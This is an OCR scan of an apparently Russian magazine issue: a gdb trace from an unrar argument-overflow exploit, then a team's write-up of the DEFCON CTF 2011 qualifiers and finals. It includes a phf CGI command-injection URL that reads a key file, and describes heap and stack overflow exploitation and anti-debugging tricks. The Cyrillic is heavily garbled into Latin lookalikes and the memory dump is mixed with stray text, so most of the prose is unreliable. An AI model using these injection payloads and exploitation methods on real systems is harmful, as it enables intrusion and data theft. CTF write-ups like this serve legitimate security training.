(no debugging symbols found)
(gdb) r
Starting program: /usr/bin/unrar -31rvs31lrvs3lrvs...s31rvsAA...

ERROR: Unknown option: 31rvs31lrvs3lrvs...31rvsAA...

Program received signal SIGTRAP, Trace/breakpoint trap.
Oxbfab6405 in ?? ()

1: x/i $pc

0xbfab6405: int3

(gdb) x/20x $eip-1

Oxbfab64@4: Oxcccccccc  @xaaaaaaaa Oxbbbbbbbb  @xcccccccc
oxbfab6414: ©xdddddddd ©xbfab6400 ©x08067f22 ©x0806ec60 WENLER.BOOK ESO01

oxbfab6424: oxbfabfdfa ©0x08048b97 0xb7483a8c ©x00000000 METRO Fid e TR TRORERON M ELLGE [URA POMAHA EWISTORON CEPrH BECTAATHO
oxbfab6434: 0x00000000 0Oxbfab6a98 ©0x080680e7 0Oxbfab7f98 B ATOR BADKTPOHHOR KHATE WEXLER

oxbfab6444: ©xbfabfdfa ©x08048c77 0xb7483a8c ©x08048460
-_HDM¢DPTHUE YTEHME

(gdb)
-_CTMJ'IbeIFI TALMET

ARt Bl
BHPAI A WPV P00 A AP
WA B SEXGN

YtonTtpeboBanocbgokasaTb. Hyacofepxumoe none3Hom Harpysku
0CTaeTCsA MOJIHOCTbIO HATBOE COBECTH.

TARGETS XXX

unrar<=3.93

K coxaneHuio, natyeit, yCTpaHaoLLMX AaHHYI0 YA3BUMOCT, 5 He Halen. Ho PR r m;m:uum Hl '._.,”'ll""'
! ! o ! : JI§—1 ABONEE 300 ThiC. M
BCErfaMOoXHO CaMOCTOATENbHO CO3/1aTh HOBbIN CErMEHT B UCMONHAEMOM i)

mopyne unrar’a, ,U,OﬁaBMTbTy,D,a KOL nonpoBepkKe Ha BLWUMBOCTb BXOAHbIXap-
TYMEHTOB M MNPOCTaBUTb COOTBETCTBYIOLLME MPbIXKKMW B HY)XHble MecTa. 3

<@
www.wexlernu | vias Dmsione |
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PomaH «zyx2145» Bacunenko, @Kaspersky Lab
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DEFCONCTF

OTHET C XAKEPCKOI'O KOHTECTA U3 JIAC-BEIACA

B Nlac-Berace 3aepwunuco ape LN 0X01.4YTO TAKOE CTF?

KPYMHble Xakepckune KOH(I)epeH' CaliTbl KOMaHA: Capturethe Flag—>3Towurpa, BVKOTOPOVI KOMaHAbl oy4aloT B pacnopskeHne
* Hackerdom: i Habop ys3BMMbIX NPUNOXKeHUIt-cepBrcoB. OCHOBHas nies 3aklloyaeTcs B

umm: BlackHat 2011 v DEFCON 19. W’ TOM, 4TOBbI TOMaTh CepBUCHI BbICTpee ApYruX KOMaHA, IMCaTh IKCNNONTSI,

MocnepHas MHTepeCHa He TOJIbKO leetmore.ctf.su; ycneBaTb NaTYUTLCS, NOAAEPXKNBATL BCE BPaboyYeM COCTOSHUM U— Ha HEKO-
*SiBears: TOpbIX Urpax—eLLe 1 onuchbiBaTby3BMMOCTU B bloineTeHsx be3onacHocTn

CHorclwmbaTenbHbIMM OOoK/afaMu, sibears.ru;

«Smoked Chicken: 3a/0M0THUTe TbHbIe 04KM. Iakas KubepsoliHa B MuHMaTiope. CopeBHOBa-
HO M 3HAMeHUTbIMWU COpeBHOBA- smokedchicken.org. HUS NPOBOASATCS, KaK NPaBMUI0, 0T HECKOIbKMX YaCOB 10 HECKOTbKUX CYTOK,
< yacTo 6e3nepepbiBoB Ha coH. CylecTByeT ABa 0CHOBHbIX TUNa CTF: «CBos
HUAMW MO KOMMbIOTEPHON besonac- “rpa» 1 knaccuyeckuit BapuaHT. [epBbiit yalle ucnonb3yeTcs Ha 0Tbopoy-
HOCTWN <<Ca ptu re The F|ag » [CTF], B HbIX COPEBHOBAHUSAX, BTOPOW Ha pUHANbHbIX, MOCKOJIbKY ASIA KJ1aCCUYeCKOro

KOTOPbIX BriepBble NPUHANA y4a- CTFTpebyeTcabonee cnoxHas nHpacTpykTypa. §
B Mupe cyujecTByeTHeckobko NofobHbIX copeBHOBaHWMMA, Bktoyas UCSB

CThe KOMaHAOa 13 Poccun. Kak aTo iCTF, NuitDuHack, plaidCTF, RuCTFEngp. DEFCON CTF nposoauntcsac 1996 .
6bIf0 M YTO BOO6UJ,e npencTaBnsioT M ABNSETCA CTaPENLLIMM U, HABEPHOE, CaMblM NPECTVXHbIM U3 HUX. BnepBble
B poccuiickasi KoMaHAa npoLuna B GUHaN M3aHsnaTaM noveTHoe 4-e MecTo. Mbl
coboK Takue xak-KBecCTbl, paccka- onepeannnTakux 6U30HOB, Kak KoMaHay YHusepcuTeTta KanudopHum CaHTa-
XKYTHENOCPELCTBEHHbIE Y4aCTHM- Bapb6apsi [yctpouteneiniCTF), komaHay YHusepcuteta KapHeru-Mennona,
o kopenueBu3z POSTECH-Pohang, cneynanucToB 3 ofHOV NpaBUTENbCTBEH-
KU CO6b|TMM~ HoV BoeHHo koMnaHum CLLIA, a Tak)ke IMOHCKMX, UCMAHCKUX M aMepUKaH-

ckuxnpodeccmonanossb.Hoobo BceMnonopsaky.
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DEFCONCTF

0X02. DEFCON CTF PREQUALS

Ot6opoyHble urpsl Defcon CTF npoxoaaTB popmate Jeopardy —aHrn.
Ha3BaHne Tenenepefayn «Cosa urpa». yyacTHuKam npefocTasastoTcs
25-303a4aHuNi pa3HON CIOXKHOCTU M CTOMMOCTH BTakux obnactax UB,
Kak reverse engineering, forensics, binary exploitation, packetanalysis
nT. 4. Mpu gaHHOM popMaTe UTpbl KOMaHAAM He HYXKHO 3aLiMLLaTh CBOU
cepBepbl U MPUMEHATL MaTYM — Heobxo4MMOo MPOCTO pellaTh 3afaun,
BbITACKMBATb U3 HUX dnarv n otTnpasBnsiTb nx B popMy oTBeTa. 06bIYHO,
pelas 3afayy nepBoii, KoMaHAa nosyyaeT HOHYCHbIE 04YKM 3a «MepBYI0
KpOBb».

Takoi popMaTUrpbl MeHee MHAMUYeH, HO N03BONAET O HOBPEMEH-
HOMrpaTb HEOrPaHMYEHHOMY YUCNy KOMaHA. BaToM rofy B 0T60pOYHbIX
urpax 3apeructpuposanocb 6onee 700 KoMaHA, U C HEHYIEBbIM CHETOM
3akoH4yuno bonee 280. iHTepecHo, yTo oTPoccun BaToM roay BbicTyna-
nacbopHas komaHfa Team |V, BO3HUKLLIASA B pe3ynibTaTe CIUAHUS YeTbl-
pex cuabHeRLnX KOMaHJ no pe3ynbTaTaM NpoLLIbIX COPeBHOBaHWN:
¢ Hackerdom —Ypanbckuit pepepanbHblil yHUBEPCUTET;

e LeetMore—CaHnkT-leTepbyprckunii rocyfapcTBEHHbIN yHUBEPCH-

TeT UHPOPMALMOHHbBIX TEXHOMOT U, MEXaHUKM U ONTUKHY;

e SiBears—ToMckUiirocyfapcTBEHHbIA YHUBEPCUTET;
¢ Smoked Chicken—HHo-Ypanbckuil rocyfapcTBeHHbI YHUBEPCUTET.

06befNHUB YCUNNS, Mbl N1AHUPOBANN CTaTb NEPBOW POCCUIACKON
koMaHpoi B duHane DEFCON CTF c npeTeH3net Hanobepgy. Mo upoxum
cyAbbbl, KOMaHAa 3aHsANa 4-e MecTo Ha 0T6OPOYHOM 3Tane N TakuM
obpa3oM nonanaBcnucok Tex 12 KOMaHA, KOTOpbIE MO PernaMeHTy npo-
XOAAT B uHan. [[na npumepa npuseaeM HeckosibKo 3afaHuil.

GRAB 100
Be6-cepBep HaSPDY

HanopTy 5932 3anyuieH HekoTopblil cepauc. [ocne npofonxu-
TeNbHbIX MAHUMYNALNI BEISCHAETCS, YTo 3To apache, paboTatowuii no
npotokony SPDY (ynyywerHas peanusauus HTTP o1 Google). Haxo-
nuM BaxHbI ckpunTB /cgi-bin/ nnpobyem BbITalWUTL K04 NoCe
n3yyeHus gupektopuit http://pwn583.ddtek.biz:5932/cgi-bin/
phf?Qalias=%0Acat%20/home/Tkf6zKZd/key. He cpabaTbiaet (punb-
TpyeTcs cnoso key). Mensem zanpoc: http://pwn583.ddtek.biz:5932/
cgi-bin/phf?Qalias=%0Acat%20/home/Tkf6zKzZd/k*. Monyyaem dnar:
that's fast enough now go take a rest.

FORENSICS 200

06pa3NTFS cHeo6blYHbIM daiinoBbiM aTpubyToM

BbifaHHbIN daiin pazmepoM posHo 50 Mb npeacTaBnset coboit obpas
auckac NTFS'HbIM pasgenom. Packonku 3arpysunka 8 MBR Huue-
roHe flasn, X0Tb OH W BbITISIie1 He COBCEM CTaHAapTHbIM. 3aCyHyB
obpas B X-Ways Forensics, Mbl yBUAe N, 4TO BKOPHE pa3aena nexar
100 kaTanoros Bupa dir**, B kax0M U3 KOTOpPbIX TpUMepHO no 220
¢dannos.Bcero 21978 daiinos, KaxAbli CYHUKaNIbHbBIM COLEPXKNMbIM,
nonagawoWwmM nof perynsapHoe sbipaxerue ([0-9a-f]1\0{24}){40}.
HaTtpasusytunuty ntfswalk, obHapyxununofosputenbHblii pann \
dir60\key50883.Mofo3puTeneH oH bbinTeM, 4To ero dainosas 3anuch
B $MFT copepxanaHectaHaapTHbln NTFS-aTpunbyTc Homepom 110h,
TorgakakB«ctanpaapte» NTFS onucaHbl nniub aTpubyTel c HOMepamu
meHee 100h.

Mol 3arnsHynun B 3707 110h- aTtpnbyTc noMoLybio BCe TOro xe
X-Ways Forensics, packoBblpsiin ero [CTpyKTypHO OH 6bin NOX0X Ha
aTpMByTbI U3BECTHBIX TUMOB), BBIYUCINAY, B KAKUX KlacTepax XxpaHaTcs
ero iaHHble, 1 BbITalWMAN ux. Booble, ecTb LOBONBHO pacnpocTpa-
HeHHas NpaKkTWKa NpsATaTh CEKPETHbIE JaHHbIE B «aibTEPHATUBHbIX
notokax gaHHbix NTFS» —aTpubyTax c HomepoM 80h, otaunvatwmmcs
MMeHeM noToka. [lnd noucka n npocMoTpa anbTepHaTUBHbLIX MOTOKOB
JaHHbIX eCTb Macca roToBbIX yTUINT, BUAMMO, MO3TOMY OpraHu3aTo-
pbl MOCTYNUAN XUTPEe N CNPATaNN aHHble B caMopenbHOoM NTFS-
aTtpubyTe. /I3BneyeHHble BaNTUKN UMENN TOYHO TAKOM XKe BUJ, KaK 1
06bIYHOE COAEPXMMOE BCEX 0CTaNbHbIX aiinos (Mackuposanmcb nog
HUX). BbIKWHYB HyneBble 6alThl, nony4Ynnu oTeeT: 47a96fac9edb95e641
e835e21ce800934d4c8f7e.
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®opMaTnepepaum «CBos Urpa»: pasHble o6nactu UB v pasHas CN0XHOCTb 3a4aHUN

PWTENTPWNABLES 500

BMHapHMK C nepenosIHeHUEM KY4U N Y TeUKON NaMATH

PeBepc buHapHMKa NoKa3sbiBaeT, 4TO NpM NOCblNKe KOMaHabl upload_
new_record co3gaeTca oauH ak3eMnnsap knacca class@l unu classe2 s
cnyyaitHom nopsfke. Metopn class_02::copy_buffer yassumknepenon-
HeHuto bydepa, KoTopoe flaeT 24 baiiTa nepesanncu B Kyye.

void class_@2::copy_buffer(class_02 * this, char * buffer)
{

unsigned int i;

for (i =0; i<=248; + + i) this->buffer[i] = buffer[i];
}

Mcnonb3ys aTy e yi3BUMOCTb, Mbl MOXXEM NOANPaBUTb elLe U NepeMeH-
Hble buffer_len u class_count, a3aTeM Bbi3BaTb KOMaHay dump_obj,
KOTOpasi CKOMUPYeT CTOSIbKO laHHbIX, CKOJIbKO YCTAHOBJ/IEHO B 3HaYeHNe
buffer_len.3aTeM Mbl CO3[laeM HECKOJIbKO 3K3EMMAPOB KNacca, yaans-
€M OAVH, TaK 4TO OH 06pa3yeT AbIpy BKyY4e, KyAa 3aTeM noMeLLalnTcsa Ma-
neHbkune obbekThl Bpoae hash_str unu rb_tree_item. Jlanee Bbi3biBaem
view record, YyTobblnocMoTpeTh, FAe B Kyye HaxoAnTcs rb_tree_item.
Mcnonb3ys rb_tree_item,y3HaeMafpecHaleroak3eMnaspaknaccam
bydepacHawuM wennkooM. MepenucsiaeM vftable, Tak 4Tobbl OHa
yKa3blBasia Ha Hall WesIKoA, U Bbi3blBaeM J1tobyio GyHKLMIO, 4TOObI OH
cpabotan.Monyyaemwenn.

BINARYL33TNESS 500

UcnonHaemblit PE-dainn caHTmoTnagkon

MpunepsoMnpocMoTpe haiin 0ka3biBaeTCH HEYNaKoBaHHbIM, HO COfep-
XUTBCEroNuWbTpU UMNopTa:

e (CloseHandle;

e HeapAlloc;

e memset.

JT003HaYaeT, 4To BCe 0CTasbHble QYHKLMM OH MONyYaeT AUHAMUYECKM
1, KaK He CNTOXXHO 0bHapyxuTb, ilenaet3To yepe3 PEB cpasynocne OEP.
MocnesToronporpaMma co3fjaeT HECKOJIbKO MOTOKOB C aHTUOTNAAKOMN.
HekoTopble Ucrnonb3yeMble MpreMbl aHTUOTNAAKM:
e NtQueryInformationProcess with (push leh ; ProcessDebugObjectHandle);
e Rdtsc check;
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CREDITS

XoTenock 6binobnaronaputbTex pebatus komanas IV (unTtaeTcs kak pum-
CKasi «YeTbIpe», XOTH MHOCTPaHLbl 3aBUCTIMBO HAa3bIBaIOT HAC «ail BU»),
KOTOpble y4acTBOBaM B OTHOPOYHBIX, HO MO Pa3HbIM MPUYMHAM HE CMOTIN
nonacTb Ha GyHaN: KOMY-TO He a1 BU3Y, KTO-TO He HallleJ1 CMOHCOpOoB
OMnaTUTh Moe3AKY, KTO-TOyLieN Bropbl. KoMaHfa 6narofapuT KoMnaHmnm
HUM «NHbopM3aLwmTa» 3a NOCUNbHBIA BKNAA B ONNATY NOE3KW CBOUX
coTpyAHuKoB, CKB «KoHTyp» 3a cnoHCopCcTBO eKaTepuHbyprekoi YacTu
KOMaHZbl, YHUBEPCUTETbI 3@ 3HAHMWS 1 TOMOLLb.

o NtSetInformationThread with (push 11h ; ThreadHideFromDebugger).
060MTUNXHENPOCTO, HO HaWTW Bonee NoAPO6HY MHPOPMALIMIO 0 TOM, Kak
3TO CAENaTh, He COCTABUTTPYAA AN UCKYLLIEHHOr0 YnTaTens. 3aTeM npoLiecc
BblAeNSeTNaMaTb M KONUPYeT TyAa KOJ, COLEPXaLLA OCHOBHOM NONE3HbIN
byHKLUMOHAN, fanbHelillee UCNONHEHUE NPOUCXOAUT B BbIAENEHHON NaMATy.
OAHaKo ecniMNpocTO MCMONHNUTL NPOrpaMMy A0 KOHLA W CHATb AaMT, TO
BHEeM Mbl HallieM TOSIbKo Habop n3BecTHbIX unocodckux umtat. Besi conb
cnpsiTaHa BanroputMe ux pacwmndposku. Mpu paclindposke ncnonb3yercs
KJ1t0Y, KOTOPbIA KNafeTcs Ha CTeK My[anseTcs N3 afpecHoro npocTpaHcTea
npouecca. IMeHHO N03TOMY, €CW CHATb JaMM, BMECTO KJ1t04a Mbl MOJTy41M
BOTTakoM Habop 6aiiT: 080052000800520008005200080052000800520008005
2000800520008005200. Ec v xe npoaHanu3nMpoBaTb anropuTM pacindpos-
KW MOA 0TIaAYNMKOM — 0 Yy [0, BOT M HaLL KJtoY: 2FE3903DF19E4BO1AC590FBA67
1DC8752BD68339E49147F29F5502AD6310BB71.
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0X03. PUHAJT. KJTACCUYECKUWN CTF

®uHanbHbIe Urpbl MPOBOAATCA B K1AaCCUYECKOM popMaTe, MPUBIMIKEHHOM K
peanbHOMy XxakuHry. Kaxaas komaHaa nMeeT Habop cepB1CcoB, paboTaloLmnx
N1bo Ha oTeNbHOM CepBepe, b0 Ha BUPTyanbHOM MallnHe, 1nbo, Kak BaTOT
pa3, BHyTpujail. OcHoBHas 3aga4a— 3aLLmLLLaTb CBOM CEPBUCHI MaTaKoBaTb
yyxue. PesynbraTycneluHo atakm— noxuLLeHHbIN pnar npoTuBHMKa. 3a
nepe3sanucb raranpoTUBHMKA HAYUCASAIOTCS LOMONHUTENbHbIE 04KK. CBOM
e G1aru HyXXHO XpaHWUTb B HEMPUKOCHOBEHHOCTH, HO B JOCTYMHOCTU /151
npoBepsaloLLero ckpunTaxwopu. PuHan copeBHOBaHMIA MPOXOAUT B OYHON
dopMe, Bce KoMaHpbl cobrpatoTcs BoAHOM bonbLuom 3ane. bnaro, BoTene
Rio, BKoTOpOM npoxoaunna koHdepeHLMs, TakX NoMeLLLeHNA XBaTaeT: He 3ps
Nac-Beraccnasutcs caMbiMu bosiblunMu oTensiMm B Mupe. Mo pernameHTy
DEFCONCTF, 3a 0HMM CTOSIOM [OJXKHO CUeTb He 6onee BOCbMU Ye0BeK
nntocofHaoBua. Osuya? [la, opraHnsaTopbl COpPeBHOBAHUI HE CTECHAIOTCS
cBoeli cTpacTHoM NlobBK k sheepfucking, HO kKakoe 3TO UMeeT OTHOLLIEHWE K
MHdOPMaLMOHHO 6e30NacHOCTK, HUKTO He 3HaeT. KcTaTw, 3a poTorpaduto
COBOKYMIEHUS C HalyBHO pe31HOBO 0BLLOM OpraHN3aTopbl pa3gaBanu
IKCK03MBHbBIE GYTHONKN— CTOUT AN TOBOPUTD, 4TO Gy TOOKM pasolwanch
BMEepBble eCATb MUHYT W B HaLLe KoMaHe Takux yTbonok fee? BHe cTona
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MopT: 7629

DyHKLUMOHANBHOCTD: [1pn coeiHEHUN YMTaeT laHHble 13 COKeTa [0
nosineHus «EOF\n». CynTaHHble JaHHble COXPAHAIOTCA BO BPEMEHHOM
daiine Buga «/tmp/cast1eXXXXXXXX», roe XXXXXXXX — cnyyainHble
3HaveHus. Mocne atoro castle nepenanpasnset stdin, stdout n stderr
B COKET M 3anyckaeT Apyrov ucnonHsemsii dann /usr/local/bin/sandy c
napameTpamu «-o <IPv6> -d -s /tmp/castleXXXXXXXX», roe IPv6 —
ajpec, C KOTOPOro NPOW30LL0 COeANHeHKe.

YA3BUMOCTb: HeﬂOCpe,ﬂ,CTBeHHO yA3BUMOCTb HaxoAunacb B sandy.

Xop pewenus: CM. sandy.

MopT: 15323

DYHKLMOHANbHOCTB: [1py yCTaHOBKE COEAMHEHNS CEPBUC C NMOMOLLbIO
srand(time(0)) reHepupyeT ncespocaydyaitoe yuco (max_size) ot 5
no 34. Mocne aToro 3akpbiBaeT Npefblayliee COeANHEHNE U reHepupyeT
elle 0fiHO NceBfociyYaitHoe Yncho (rand_port), Ho yxe B AnanasoHe
oT 1024 po 65 534, 1 ucnonb3yeT ero Kak NopT ANS OXKUAAHUS HOBOMO
coepmHeHns (bind+listen). Eciim npoucxoamnT coeanHeHne Ha AaHHbIA
nopTt, To cynTbiBaeT 1 banT 1 coxpaHseT B Maccuse AfiMHoto B 12 6anr.
MoBTOpsieT onepaumun max_size pas.

Ya3BUMocCTb: Kak MOXHO 3aMeTuTb, max_size MoxeT 6biTb A0 34 6anT,
npu 3Tom Maccue haystack Bcero 12 6aiiT — siBHOe nepenonHeHune
bydepa. OfHako ecTb fBa NOABOLHbIX KaMHs. Bo-nepBbix, Ans Toro
yTobbl NMcaTh B bydep, HYXKHO 3HATb HOMEpP CAy4YalHOro nopTa,

a oH o1 1024 po 65 534. Ha nomolyb NnpuxoauT T0, 4TO seed npwm
MHULManu3aumy reHepaTtopa NceBAoPaHAOMHbIX YNCEN paBeH
time(@), a cucTeMHOe BpeMs y BCcex KOMaH[ ognMHakoBoe. Bo-BTopbix,
nepenosiHeHne o4YeHb MaseHbKoe, TaKoe MaseHbKoe, YTO MOAXOAS L NX
3KCMJIOUTOB TaKOro pasMepa HeT. XUTPOCTb B TOM, YTO Tak Kak
max_size nexuT Ha cTeke, Mexay ret-afpecom v nepenosiHgeMbiM
MaccuBoM haystack, HyXHo nepenucaTb ero, a Tak Kak oH siBnseTcs
CYETYMKOM UTEpaLMiA, TO MNOCsIe 3TOr0 MOXHO UCMOJIb30BaTb CTOJIbKO
naMmsaTV 48 3KCNaouTa, CKobKo notpebyeTcs.

Xop pelieHus: «XopoLias MbIC/If MPUXOLUT OMOCISA» — B AaHHOM Crlydae
3TO MMEHHO Hall KeWic. [TepenonHeHne HaLLKW, CBOW CepBUC 3anaTumnu,
HO 3KCMJIONT NOYEMY-TO Cpa3y He MoJIyYUIIoCh HAaNMUCaTh, U MOSBUIICS OH Y
Hac NULWb NOA KoHew, Urpbl. Y7o X, B cieayolmnii pas byaeM nposopHee.

MopT: 44366

@yHKLMOHaNbHOCTB: [pn COeANHEHUN YUTAET laHHble N3 CoKeTa:
nepBble 4 baliTa — AnKHa nakeTa, fanee caM naket. Co3paet GpuabTp
Bnyma, B koTopoM onpegeneHo 10 pasHbix xelw-¢yHKLuii. Mocne atoro
cuuTbiBaeT ¢nar u3 daiina key u ucnonb3yeT ero B Kayectse bUToBOro
MaccuBa. CynTaHHble 13 CeTu JaHHble NCMONb3YeT ANA NPOBEPKM TOrO,
NpUHaANexaT M OHU K BUTOBOMY MHOXECTBY UK HeT. Ha Bbixoge npu
KaXA,0M 3anycke nosnyvaetcs Habop 13 10 3Havawwmx 6ut. Mosnums
Kaxgoro 6uta cooTBETCTBYET HOMepY Xell-pyHKLMUM B dunbTpe Bnayma,
3HayeHWe COOTBETCTBYET 3Ha4YeHuto buta 13 ¢nara, Yba No3nLMUS
BbIYMCIISETCA Ha OCHOBE Xella.

YasBuMocTb: CreHepunpoBaTh Tako Habop BXOJHbIX NapaMeTpoB, 4TobbI
nporpamma oTAasna Bce 3HaveHus butos u3 dnara, nocne yero cobpatb U3
HUX dnar.

XOA pewieHusa: B yac Houwn, nocne nepBoro oHqA COpeBHOBaHMl?I, ycTtanble
M pacCTpOEHHble TeM q)aKTOM, 4yTo Ha Tabno HanpoTue Halen KOMaH[bl
A0 cux nop 0 04KOB, Mbl pewnan ncnpaBuTb CUTyaLUIo. l-Iepe3 napy 4acos
3KCNAOUT BbIS FOTOB U, [0BOJIbHblE, Mbl 3aBaJIMNINCb CNaTb.
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KAKVUEELLEECTBCTF?

The UCSBIiCTF
ictf.cs.ucsb.edu

MexayHapofHble CTyeHYeCKne COPeBHOBAHNS,
_ KOTopble NpoBoAMTYyHUBepcuTeT Kannpoprum CanTa-
Bapbapbl BHavane fekabps. MI3BecTHbl, npexae
Bcero, TeM, 4To ¢ 2008 1. KaXKAbIN rOJ CHOCAT KpbILLY,

NpUAyMbIBasi COBEPLIEHHO HOBbIE MPaBUIA UTPbI,
KoTopble bosiblie HUTAEe He BCTpeYaloTcs.

CODEGATECTF

www.codegate.org

KopeWubl n3BeCTHbI CBOE I060BbLIO K KMbepcrnopTy.
ExeronHo B Kopee npoogutcs 3—4 CTF, cBs3aHHble
06bl4HO cKoHPepeHUueiino B. CODEGATE CTF,
KOTOPbIV MPOBOANTCS B HaYase Masi, AIBNIIETCSH OLHNM
13 nyywux task-based-copeBHoBaHMA.

RUCTFE

www.ructf.org
ﬁm Komanpga HackerdomusYpl'Y —nepsas poccuitickas
KOMaHpa, koTopasiHavyanawrpateB CTF unpoasu-

rate CTFBPoccun.C2007r. ncnpaBHo opranusytot
cTypeH4Yeckme Bcepoccuiickune copeBHoBaHus RuUCTF.
C2009r.Baekabpe npoBOAAT MeXAYHAPOAHbIE CO-
PEBHOBAHWS, KOTOPbIE 0TAINYAIOTCS CTabUNBbHOCTbIO,
MaclITabHOCTbIO U MHTEPECHBIMU CEPBUCAMU.

plaidCTF
www.plaidctf.com
Komanpa PPP us KapHerun-MennoH, nossusLliascs B

i 2009r., cpasyHavananokasblBaTb BbICOKME pe3ynbTa-
FETFT Tbl MOYTU HA BCEX COPEBHOBaHMSX. [Tocne Toro Kak um
Haf0eno BCeX 00bIrpbiBaTh, OHM PELLNN NPOBECTH
CBOM COpeBHOBaHMS. MapHu onpaBLany oXunaaHms
MYCTpPOWUAW Banpesie COpeBHOBaHUS C UHTepec-
HeWLWNMM 3aJaHNAMU U HEODbIYHBIM FreiMbopAoM
(gameboard) 8 Buae nnaHasgaHus.

PHDCTF

phdays.ru/ctf general.asp

Positive Hack Days CTF—mMexayHapoaHble copeB-
HOBaHUSA M0 3aLuTe MHPOPMaL UK, KOTOPbIE BNEpBble
nposoanance 8 Mae 2011 . 3anoMHUAUCL Npexae BCero
OT/IMYHOW OpraHu3aumei, MacluTabHoOCTbIO, MHTepec-
HbIMU CEPBUCaMU U Pa3HOO0DOPa3HbIMU 3aaHUAMM.

Tl
Y
fo!

L

UAEA SAKJIIOYAETCABTOM,
YTOBbI JIOMATbL CEPBUCHI
BbICTPEE APYITUX KOMAHA,
MUCATDb 3KCIMJIOUTDI, YCNEBATD
NATYUTBCA UNNOAAEP)XXUBATD
BCE B PABOYEM COCTOSAHUU
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KONMYECTBO NIIOAeN He pernaMeHTUpyeTcs, No3TOMy HEeKOTOpbIe YuTepbl (He
ByaeM nokasbliBaTh NasbleM Ha KOMaHAy U3 ANoHWUM) cuaenuu pesepcuam
Hanosny psiioM co cToNoM BcpefHeM KonnyecTtse 20 yenoBek. HaMmBaToM
CMbICJIe HE TIOBE3110, T. K. bosbLUe YacTM KOMaHAbl He Aan aMepuKaHckme
BM3bI MOCJ1E YIOMWUHAHWS CIOBOCOYETaHUS «KOMMbloTepHas 6e30MmacHoCTb»
HacobeceoBaHNM B KOHCYNbCTBE. Y4aleHHO NOy4YacTBOBA0 O4eHb Mao
MrPOKOB, BOCHOBHOM 13-3a Pa3HULibl BO BPEMEHMU.

CTF Hauancs cToro, 4To Mbl 06HaPY XXMM TONbKO dIIeLLIKY C Klo4aMu
nocTynak ceoemy cepsepy, nsa LAN-kabens (o cepsepa o urposoi
ceTn), 0AHY 3N1eKTPHUYECKYI0 PO3eTKYY cBoero cTona. Mpuwnock 6patb Takcu
W NeTeTb B MarasuH 3aJIeKTPOHUKM Herofaneky, 4tobsi notpatuts $300 Ha
BnekaXeK MpacnyTHa CBUYM M NPOBOAA, T. K. HUKTO U3 OPraHnN3aTopoB He
npepynpexgan obuxotcytcTeum. C3afepXXKon BTpK Yaca urpa Havanach, u
BKabenaxnosBUACA IMHK. YTo ilenaThb Aasiblie, HY>KHO bbiN10 y3HaTb CaMUM.
3anyckaeM cHudep Ha kabenek cepsepy, Buanm ICMPvé-Tpaduk. Bcnomu-
HaeM, kak nofH1MaTb IPv6-uHTepdeiicsl, 3a04H0y3HaeM, 4TO BCE YN1EHbl KO-
MaHabl nporynsanuWorld IPvé Day. Clopnpu3om urpsl 6611070, 4To abconioTHo
BCe CepBUCHI bblnn HanucaHbl nof IPvé. Mpuiinock 3KCTpeHHO NepennchiBaTh
BCe l0MallHMe 3aroTOBKM MO/ LLECTbIe COKETbI.

CepsepnpepfcTaBnsn coboii FreeBSD 8.2, paspenenHbiii Jail. HanoMHum,
yT0 Jail—aTo MexaHusMm BupTyanusauyunyposHs OC 8 FreeBSD, nossonsio-
LLMiA cO3[,aTb HECKOMbKO He3aBUCUMBbIX MUHK-0C co cBouMM HabopoM npuo-
XKEHUI M HacTpoikamu. Taknm o0bpasoM, kaxaas KoMaHaa paboTtana B ceoeM
Jail'e, aopraHnsaTtopbl NOCTOSIHHO UM/ KOHTPOJIb HAfL BCEMU CUCTEMAMM.
MMeHHo Yepes Jail opraHusaTtopbl 06HOBASAM M IpoBepsAn ainbl ¢ dnara-
M. [laHHbBI MeXaHWU3M 0TAIMYaeTCs 0T NPUBbLIYHOIO HaM, Kora ¢pnaru npo-
BepsTCA M 0BHOBNSIOTCA HENOCPeACTBEHHO Yepe3 paboTaloLLme Ha cucTeMe
CepBuChbl, BUAUMO, Pa3paboTynKi NPOCTO NOMEHUANCH MNCATh CUCTEMY Kak
cnepyeT. Mbl He NPEMUHYIN BOCMOIb30BaThCS 3TUM HELOCTATKOM: OCKOJIbKY
cepBuChl bbINM aKTUYeCKM He CBSA3aHbI C GiaraMu, Mbl 3aTyHHeIMPOBau
BeCbTpaduK M nepeHec BCe NPUIOXKEHNS Ha OTAENbHYI0 BUPTYyaNlbHYI0
MaLLHY TaKNM 06pa3oM, YTo, laxKe MoSTyYMB AOCTYM, CONEPHUKMN He MOTAN
npoynTaTh HalWK Gnaru, HaxoAsLLNecs Ha peasbHOM CepBepe, a Mbl MOIU
CHMMaTb 1 aHanM3MpoBaTb TPAaPUK, NPUXOLALLNA K HaM.

MrpoBbie 04KM HAYMCASNUCL KOMaHAaM 3a noxuLleHne daara u/mnu
nepesannch CBOWM cneluanbHbiM diaroM-MapkepoM. Mocse nepesanucu
$narnaBTOMaTMYECKM BOCCTAHABIMBAINCH B MPeXHME, COXPaHAs BO3-
MOXHOCTb Py 1M KOMaHAaM NoXUTUTb ux. HauncneHHble o4k 3a pnaru
YMHOXaNNCb Ha NPOLLeHT JOCTYNHOCTU CEPBUCOB, NpeoTBpaLlas cuTya-
LiMto, KOrfa KOMaH/bl NPOCTO BbIKI0UYMAN bbl BCE CEPBUCHI U JOCTUINN
100%-Ho¥ 3awwmnThl. [locTyNHOCTb CEPBUCOB MpoOBepsiach Yepe3 bakaop B
NPUNOXEHUAX —eCv 6IKA0P KUB, 3HAUNUT, U NpunoxeHue pabotaet. [lo-
MOMHUTENIbHbIE 04YKY 33 «MEePBYI0 KPOBb» laBaNIMCb KOMAHAAM, KOTopble
nepBbIMW CyMeNIM MPO3KCNAYyaTNPOBaThb ysI3BMMOCTb B CepBUCe.
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0X04.OPTAHU3ALNA

[pvMepbl 3apaHmnii Mbl npuBeNv Bo Bpeske, abonee fetanbHoe onucanme
B3J10Ma KaX0ro N3 CEPBMUCOB U NPUMEPbI IKCMIOUTOB Thl MOXKELL b

HanTu B bnorax Hawewn KoMaHabl. CTOUT OTMETUTb, YTO UTpPa BITOT pas
Oblnia cnpoekTUpoBaHa M3 pyk BoH nioxo. 06biyHo paspabotumkn CTF
CTapaloTcs CBECTW HAa HET BePOSATHOCTb NONlyyeHus pyTa. MiHaye, no-
NYYMB PYT, KOMaHAA CMOXETYTAHYTb GNarv oT CepBUCOB, KOTOPbIE He
BbINN NO-HACTOSRLLEMY B3/IOMAHbI, @ HANOCAE 0K BbINOAHUTL «rm -rf

/», LOCPOYHO 3aBepluas Urpy ans conepHuka. Cepsuc tomato fosnxeH
BN NOHVXaTb NpUBUNErun c root fo tozepatomato, Ho Takoro o3epa He
